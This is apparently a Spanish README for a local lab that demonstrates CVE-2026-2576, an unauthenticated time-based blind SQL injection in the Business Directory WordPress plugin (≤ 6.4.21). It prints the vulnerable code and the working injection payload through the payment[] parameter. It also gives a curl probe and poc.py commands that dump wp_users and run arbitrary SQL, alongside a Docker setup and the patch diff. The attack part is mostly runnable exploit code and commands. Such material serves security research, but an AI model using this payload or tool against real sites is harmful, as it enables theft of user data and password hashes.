
CVE-2026-2576 — PoC de inyección SQLi en el plugin Business Directory (Configuración local). Inyección SQL ciega basada en tiempo sin autenticación en el plugin Business Directory para WordPress ≤ 6.4.21
Inyección SQL ciega basada en tiempo sin autenticación
Plugin Business Directory para WordPress ≤ 6.4.21
| Campo | Detalle |
|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Vendor | strategy11team |
| Afectado | Todas las versiones ≤ 6.4.21 |
| Parcheado | 6.4.22 |
| Tipo | Inyección SQL ciega basada en tiempo (CWE-89) |
| Autenticación | Ninguna — completamente sin autenticación |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Asignador | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgado | 18 de febrero de 2026 |
El plugin Business Directory es un plugin de WordPress ampliamente utilizado para crear
directorios de listados con soporte de pagos. Una falla en su constructor de consultas ORM
permite que un atacante sin autenticación realice inyección SQL ciega basada en tiempo a través del parámetro de consulta payment,
permitiendo la inferencia del contenido de la base de datos.
La vulnerabilidad reside en el constructor de consultas ORM:
Archivo: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNERABLE — sin saneamiento, concatenación directa de cadenas
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Seguro — usa $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Cuando $v es un escalar, el código usa correctamente $wpdb->prepare(). Cuando
$v es un array, cae en la rama insegura y concatena los valores
directamente en la cadena SQL sin escape alguno.
El controlador de pago (includes/controllers/pages/class-checkout.php)
lee el parámetro de solicitud payment y lo pasa al ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id se pasa como valor
);
}
PHP convierte automáticamente payment[]=value en la cadena de consulta en un
array $_GET['payment'] = ['value']. Esto obliga a que $v sea un array en
filter_args(), alcanzando la rama insegura.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← array debido a la notación []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → rama insegura
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
SQL generado:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
El -- - comenta el ') final. El IF() crea un oráculo booleano:
cuando la condición es VERDADERA, SLEEP(N) se ejecuta y la respuesta se
retrasa; cuando es FALSA, la respuesta es inmediata.
Nota: El ORM ejecuta la consulta dos veces por solicitud (una en get(), otra
en maybe_execute_query()), por lo que un payload SLEEP(1) produce ~2 segundos de
retraso observable, y SLEEP(2) produce ~4 segundos.
Un atacante sin autenticación puede inferir y extraer el contenido de la base de datos carácter por carácter mediante respuestas basadas en tiempo, incluyendo:
wp_users), nombres de usuario, direcciones de correo electrónico, hashes de contraseñasLa corrección en la versión 6.4.22 añade saneamiento a la rama de arrays de
filter_args():
// ANTES (vulnerable)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// DESPUÉS (parcheado)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Instalar dependencias de Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Espera hasta que veas:
╔══════════════════════════════════════════════════════════╗
║ ¡Configuración del laboratorio completada! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ ID de página BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Esperado: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# Acceso en http://localhost:8082 (root / rootpass)
Todos los comandos se ejecutan desde el directorio raíz del laboratorio en tu host Kali.
Usa http://localhost:8080 (mapeo de puertos host → Docker).
El payment_key debe corresponder a una fila existente en wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
Esperado: INYECCIÓN CONFIRMADA ✓ (2.03s ≈ 1s × 2 ejecuciones del ORM)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| Flag | Valor por defecto | Notas |
|---|---|---|
--sleep N | 1 | SLEEP(N) por oráculo. VERDADERO ≈ N×2s. Menor = más rápido, más ruidoso |
--threads N | 4 | Posiciones de caracteres en paralelo. 8 funciona bien en hardware moderno |
# Extracción más rápida
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# Línea base: debería responder en < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sonda de sleep: debería responder en ~4s (SLEEP(2) × 2 ejecuciones)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
Para comparar la versión vulnerable con la versión parcheada:
python3 poc/patch_diff.py
# Para un diff completo
python3 poc/patch_diff.py --full
# Descargar ambas versiones
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# Comparar el archivo vulnerable
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
El diff mostrará esc_sql() añadido a la rama de arrays en filter_args().
# Detener el laboratorio (conserva los datos)
docker compose stop
# Reiniciar
docker compose start
# Desmontaje completo — destruye todos los volúmenes y datos
docker compose down -v
# Reejecutar la configuración desde cero
docker compose down -v && docker compose up setup
# Shell dentro del contenedor de WordPress
docker exec -it lab_wordpress bash
# Ver el registro de errores PHP de WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# Ver el registro de consultas MySQL en tiempo real
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() de WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/Este repositorio está destinado únicamente a investigación de seguridad autorizada y fines educativos. Todas las pruebas se realizaron contra un entorno de laboratorio local aislado. Nunca ejecutes esta herramienta contra sistemas que no poseas o para los que no tengas permiso escrito explícito. El acceso no autorizado a sistemas informáticos es ilegal según la Ley de Fraude y Abuso Informático (CFAA) y leyes equivalentes en otras jurisdicciones.
El autor no asume ninguna responsabilidad por el uso indebido de este material. Sigue siempre prácticas de divulgación responsable: si descubres nuevos hallazgos basados en esta investigación, coordina con el proveedor antes de publicar.
Investigado y desarrollado en un laboratorio Docker aislado en Kali Linux.